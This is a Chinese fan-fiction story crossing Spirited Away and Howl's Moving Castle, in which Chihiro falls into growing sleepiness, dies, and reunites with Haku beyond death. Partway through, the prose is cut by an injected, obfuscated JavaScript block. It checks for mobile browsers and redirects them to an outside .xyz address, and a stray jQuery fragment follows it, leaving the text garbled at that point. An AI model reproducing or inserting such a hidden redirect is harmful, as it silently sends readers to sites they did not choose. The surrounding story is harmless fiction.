“要不要出门？”
窝在家的半个月后的午后，千寻正坐在庭院的椅子上，看白龙打理新开的花，而在收拾完后，他忽然冒出这样一句话。
千寻反应有些慢地念着这句话，并不明白白龙的意思。
“要去哪呢？”
白龙没有直接回答，他洗干净手，走过来摸了摸千寻的头，好像忽然就下定决心地牵起千寻，快步赶回房间就开始翻找东西。
千寻迷茫地看着白龙的背影，直到他好一顿寻找，翻出来一板车票夹，取出其中最后几张车票，她才明白他的意思。
千寻当然不会拒绝，她点了点头，接过了那几张车票。
于是旅途开始了。
他们的第一个目的是乡下，那片森林中隐秘的通道。这几十年来他们没少去过那个车站，然后借此拜访老友，但每次都是秉持着简单高效，由白龙带着迅速飞过高空到达目的地。
这次出门，两个人倒是默契地选择了最寻常的出行方式。
在人类世界生活这么多年，白龙早就会开车了，千寻也没少坐在副驾驶，但唯独这条路还是第一次从这个视角去看。
她从前两次坐车来，都是在后座听着父母交谈，从侧窗去看两边景色飞梭。
“千寻，千寻，马上就到了。”
父亲从后视镜看了一眼那倒挂在座椅上的小女孩，出声提醒，而那被迫转学的孩子耷拉着脸，盯着怀里的花止不住叹气，并不理会……
“……千寻？千寻！”
不要喊了，我不想要去乡下。内心的烦躁驱使着话差一点要出来了，可回过神自己眼前是开阔的视野，道路不断回退着。
她并不在后座，面前是前座才有的风景。
刚刚那些，都是回忆吗？
被岁月遗留在旧路的过去，在全新的视角中短暂复活了，而记忆中前座的父母早就像两边滚滚倒去的树木一样，不会再出现了。
千寻有些恍惚地对上白龙担心的目光，勉强扯出一个表情。
“……怎么了？困了吗？”白龙抿了抿嘴，尽管目光看回了前方的路，也挡不住言语里的担忧。
千寻有些愧疚地摆摆手，说只是想起来了从前的事情。
但被白龙这么一问，反而确实是起了困意，千寻枕着手靠在窗边阖上眼，没能留意到这句话说完后白龙握着方向盘的手蓦然收紧。
半梦半醒之间很快就到了目的地，后面的路程就更是轻车熟路，千寻小睡了一段后特别精神，拉着白龙挨个拜访老友时简直看不出来一点前段时间的颓然模样。
坊和千寻讲他逐渐接手油屋事务，锅炉爷爷还在勤勤恳恳工作，钱婆婆又送给了千寻自己和无面一起制作的魔法织物，小玲的帽子店经营的风生水起，甚至开了分店。
“大家都有在好好生活，真好啊。”走在前往苏菲家的路上，千寻很感慨地说着，欢快地跳着走过石块格子，对白龙招手，要他赶紧跟上。
阳光照着她的头发，光晃晃地像落了满头雪，裙摆也被风吹的摇摇晃晃，站在那像一簇准备起飞的蒲公英，一旦有风就要远去。
白龙赶紧上前拉住她，幸好没两步路就到了地方。
听见敲门声苏菲拉开门，看见是千寻很是惊喜，两个人很快就手挽手开开心心聊起来了。
“头发？啊，是突然的兴趣，就用魔法变了个颜色啦。”被苏菲询问起白发时，千寻不甚在意地解释了一句，就又兴致勃勃要听苏菲的近况。
可这个回答并不那么完美，起码没能瞒过哈尔，魔法师明白了随行的白龙的沉默，也回馈以同样的无言，两个人望着沉浸在交流的千寻，已然是在分享同一份心情。
“这么多年千寻外貌也没怎么变过，我还以为你们也是像我们一样在共享时间。”哈尔把手上的东西丢进火炉，视线落到远处交谈的两个人身上，满眼复杂。
白龙不接话，哈尔所说的他不是没想过，只不过神明和人类之间是做不到这样的。
“不过，你也是个正经神明了，死亡并不一定是你们的永别。”哈尔好像又想开了，语气一转，“也一起这么久，足够证明千寻是一个好的神侍料子了吧？”
白龙并不意外哈尔会这么说，倒不如说，与千寻相伴的这么多年里，大半时间他都是这么想的——千寻人类的寿命终结，自己便把她变成神侍，总归是在一起。
直到他有一次无意同艾利欧谈到这个想法时，被对方盯着眼睛严肃反问了一句。
“浑身洋溢着别的自然之神魔力的千寻，真的能够容纳你的灵力，在彼岸与你重逢吗？”
也是那时，他才知晓，神侍与神明的关系像一命双生的契约，正因捆绑，便容不得其他。
他询问过的那些神明的神侍，都是一生只信奉那位神明，只接受过其灵力，死后自然而然被吸引着从彼岸归来的。
千寻有着自己的魔力，倘若要效仿寻常神侍，就需要经历全身换血那样的洗涤，而白龙从来不曾听说有人类的灵魂能承受如此过程。
所以他从来没和千寻谈论过这件事。
也一直在试图寻找，在万份相同答案中的那么一丝其他可能，哪怕是他自己去到彼岸，把人亲自带回来。
“白龙？”千寻的声音在耳边响起，把他的飞散的思绪拉了回来，“我们走吧？电车快到了。”
白龙任她拉过自己，听她同老友们告别，默默握紧了相扣的手。
一坐上电车，回到两个人独处的时刻，千寻就又有些疲惫地靠在白龙身上，没什么力气地道歉：“明明一起出来，却一直在睡觉，抱歉啊白龙……”
她声音越来越小，话都没说完眼睛就合上了。
白龙忍着悲伤，把人抱进怀中。他的头抵在她肩上，恨不得把人揉进自己身体里，可还是克制地保持在一个安稳的力度，不惊扰一点睡梦。
在那个预知梦的后，千寻开始逐渐嗜睡，最开始两个人都并没有意识到不对劲，直到半个月之后的一天，白龙独自出门归来，从溢出水的浴室中捞出睡在浴缸中的千寻。
千寻泡的浑身发白，湿漉漉的白发挡去大半张面容，脸上一点生气没有，把白龙吓了好大一跳。
如果不是胸口还能听见微弱的心跳声，白龙怕是马上就闯去彼岸了。
一旦开始留意不对劲，便处处都叫白龙不安。千寻睡着的情况越来越多，时间也越来越久，在他们出门这天前，千寻甚至试过一睡就是五天；哪怕在清醒的时刻，千寻也很容易陷入回忆里，严重的时候甚至抽离不出来，幻视自己回到孩童，认不出如今的白龙。
即使每次恢复，千寻都会和白龙道歉，叫他不要太担心，自己感觉还好——每次白龙都会摆出一副相信姿态，可实际上这些话语太无力，根本无法叫白龙安心。
人类在面对做不到的事情时总喜欢祈求神明，可如果神明也想许愿，又要去找谁呢？
我快要抱不住你了，千寻。
-
“你觉得死亡可怕吗？”
从窗外回过神，小千寻发现老师还在和那个提问的同学交谈，只不过话题已经变了。
虽然不知道老师刚刚回答了什么，同学的眼睛睁的大大的，水汪汪的蒙了一层眼泪。
然后他点了点头，满脸害怕。
小千寻不知道为什么，刚刚还觉得这些话题很没意思，现在却也觉得有趣起来，跑过去也要听老师讲。
老师注意到她，温柔摸了摸她的脑袋，然后就继续开口：“对死亡的看法，每个人都不一样，而老师觉得，死亡是一场新的冒险。”
“冒险？”这个说法让孩子很容易联想到电视播的动画片，同学眼睛一亮，也不害怕了。
“对啊，你看你来到这个世界，慢慢长大，其实也是在进行一场冒险。你慢慢学会走路说话，有了喜欢的讨厌的东西，会笑会哭，都是这场冒险里逐渐学会的。”
“死亡是离开这个世界的一道门，门之后另一个世界，你也会学习那个世界的事情，这些过程又有什么差别呢？”
同学懵懵懂懂地点头，也不知道听没听明白，最后犹豫半天，问了一句：“那妈妈，在那个世界，还会爱我吗？”
老师伸手摸了摸他的脑袋，很肯定地点头，说当然了。
大概这才是他真正想确认的事情，得到答案同学也就兴高采烈地投入隔壁的动画片讨论了。
“那么千寻还有什么不明白的问题吗？”老师转过来，笑眯眯的。
小千寻眨了眨眼，忽然觉得胸口闷闷的。
“爱真的能跨越死亡吗？”
老师还在笑，并没有说话。
然后她听见一道陌生又熟悉的声音回答了自己的问题。
“当然。我会一直爱你，千寻。”
“哪怕生死相隔？”
“哪怕生死相隔。”
-
睁开眼，眼前已经回到了房间。
昏睡前的记忆还是在电车上，千寻着急地想撑起来，但刚有动作，门便被推开了。
“醒了？”白龙还是一贯的表情，温柔垂眸望着她。
千寻又想道歉了，可白龙看出来了，轻轻摇了摇头，把那句对不起挡了回去。
“院子里的花都谢完了，我便去花店买了新鲜的放在床边了，你看看。”顺着白龙的话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412016|184630||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，千寻回头看，果然看见了一束花。
“这么快吗？我怎么记得那丛花是秋季花，还得开一两个月吧？”千寻有些惊讶，明明他们离开前花才刚开几天的。
“千寻，快到冬天了，要下雪了，花便谢了。”白龙走到来床边坐下，没等千寻回答，他便抱住了她。
这个怀抱这样用力，千寻隐约从中明白了什么，她伸出手，也揽上他肩头。
“明年春天，花还会开的。”
“你要陪我一起看。”
“我会的。”
“嗯，我当然相信。”
“要和我说晚安吗？这段时间似乎都没赶得上。”
“一直赶不上的话，会一直有机会说吗？”
“白龙，我这次睡了很久吧？”
“所以说千寻太贪觉了，都快把秋天睡过去了。”
“那我想听，说给我听吧。明明已经睡了这么久，可是说两句话我又困啦。对不起……”
千寻感觉颈部凉凉的，有什么悄无声息地落到上面，绵延不断，要淌成河流了。
“…晚安，明天见。”
困意随着话语翻涌起，千寻的眼皮好沉，她勉力想再看抱着自己的人一眼，可已经没有力气了，只能稍稍抬起头，靠着他的肩膀看到窗外的庭院。
初雪就在这一眼中猝不及防到来了。
下雪了。
秋天终于还是结束了。
-
河流，一道长桥横跨其上，本能地抬起步就要往那一边走去了。
踏上桥的瞬间好安静，明明刚刚河川那翻涌的水流声还很大，这一刻也只剩寂静了。
“……,……!”
可是脚步好重，安静的空气中好像有什么在挣扎着要发声，但又实在听不真切。
只是一味地往前走着，长桥上什么都没有，而那尽头是一片浓雾。
胸口好闷，伸手捂着心脏的位置，但连这里也是寂静的。
好像不应该是这样子的。
一步一步，很慢地走到了桥的尽头，要伸脚踏进雾里了，可脸上忽然很凉，伸手一摸换得一手湿。
为什么在流泪呢？
前方的路一眼看得到头了，那里只有未知，可这股情绪，这份眼泪，总不会没有缘由。
“我”，是谁，为什么在这里，又要去哪里呢？
冥冥之中，在最后一步停了下来。
世界也就忽然吵闹起来了，呼啸的风声，奔流的水声，好像还有人在呼喊着什么。
可当想要回头的瞬间，面前的迷雾膨胀开来，一下子包围了所有能看见的范围。雾气好像有了实体，推动着身体最终跨过了那道桥。
“你渴望，回到彼岸的另一边吗？”
不知道哪里传来了声音。
彼岸，这里就是彼岸吗？
好耳熟，可是什么也想不起来，只能沉默着，没办法回答。
“你抗拒，永远与另一边隔着一道河吗？”
声音还在继续发问，无法回答。
“你是否，有着隔着生死也要留存的信仰？”
问题来到了第三个，这一次，终于有所触动，回答比思考还要快地出来了，是一声很坚定的“当然”。
那一刻，刚刚感知到的所有声音又消失了，万籁寂静中，只有一声闷响。
然后是两声，三声，有节奏地反复起来。
手又自顾自动起来，捂到胸口，里面这次有所回应，跳动的心脏震的掌心发痒。
“渴望之物，抗拒之物，你在踏上彼岸之前所学，已经被死亡覆盖着遗忘。”
“可你所信仰，又覆盖了死亡。”
“现在，去踏往你该去的地方吧。”
迷雾散开，不复刚刚眼前昏暗，千寻，是了，她终于想起来了她的名字，或者说，她活着时的那段故事。
而今彼岸之上，她又通过死亡，来到新的阶段。
虽然还不明白发生了什么，可眼前不远处，她不愿忘记的那份“信仰”本人正站在那。
“……”
声音被模糊了，不过都不重要了。
千寻飞奔过去，结结实实扑到白龙的怀里。
“你睡了好久。”
“好久是多久？”
“够花开了又谢好多次了，明明答应一起看的。”
“对不起。”
“不要道歉，花还会开的。”
“那，谢谢你。”
“谢什么？”
她一直笑着，眼泪却流个不停，把他衣服都浸湿了一大片。
“谢你一直以来，都在照顾那些花。”